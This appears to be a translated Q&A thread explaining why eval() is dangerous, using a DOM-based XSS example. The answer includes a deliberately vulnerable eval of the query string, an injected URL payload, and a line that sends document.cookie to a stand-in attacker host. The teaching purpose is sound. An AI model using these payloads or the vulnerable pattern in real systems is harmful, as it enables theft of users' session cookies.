Jau*_*tis 4 javascript security eval
developer.mozilla.org 说:
不要不必要地使用 eval!eval() 是一个危险的函数,它以调用者的权限执行它传递的代码。
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。所以他可以把自己的功能执行等。
一般有没有“安全的javascript代码”之类的东西?
例如,任何恶意用户都可以打开 chrome 调试器,并修改正在执行的 javascript 代码。所以他可以把自己的功能执行等。
是的,用户可以使用开发人员工具使用 JavaScript “攻击”他们自己的客户端会话。
但是,eval 和开发人员工具之间的区别在于 eval 可以在可共享链接中执行事物。攻击者可以向受害者发送一个利用代码评估功能的链接。
拿这个代码:
<script>
eval('alert("Your query string was ' + unescape(document.location.search) + '");');
</script>
Run Code Online (Sandbox Code Playgroud)
现在,如果查询字符串是,?foo您只会收到一个警告对话框,说明以下内容:Your query string was ?foo
现在假设 Chuck 向 Bob 发送一封电子邮件,主题为“看看这个很棒的链接!”。
链接的构造如下:
http://www.example.com/page.htm?hello%22);alert(document.cookie+%22,其中 www.example.com 是您的网站。
这会修改由eval()to执行的代码
alert("Your query string was hello");
alert(document.cookie+"");
Run Code Online (Sandbox Code Playgroud)
(为了清楚起见,我添加了新行)。这将显示一个警告框,显示所有非 httpOnly cookie。
将此带到下一阶段,攻击者可以构建一个图像链接,将会话 cookie 发送给自己
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)
Run Code Online (Sandbox Code Playgroud)
这称为跨站点脚本 (XSS)攻击。实际上,该类型是基于 DOM 的 XSS,具体来说。
一般有没有“安全的javascript代码”之类的东西?
是的,能够抵御 XSS 的代码可以被视为“安全的 JavaScript 代码”——它保护当前用户免受跨域攻击。但是,“信任”当前最终用户不会使用开发人员工具修改 JavaScript 代码或变量以使其对自己有利的服务器端代码并不安全。
因此,安全的 JavaScript 代码是只保护当前用户的代码。
| 归档时间: |
|
| 查看次数: |
4652 次 |
| 最近记录: |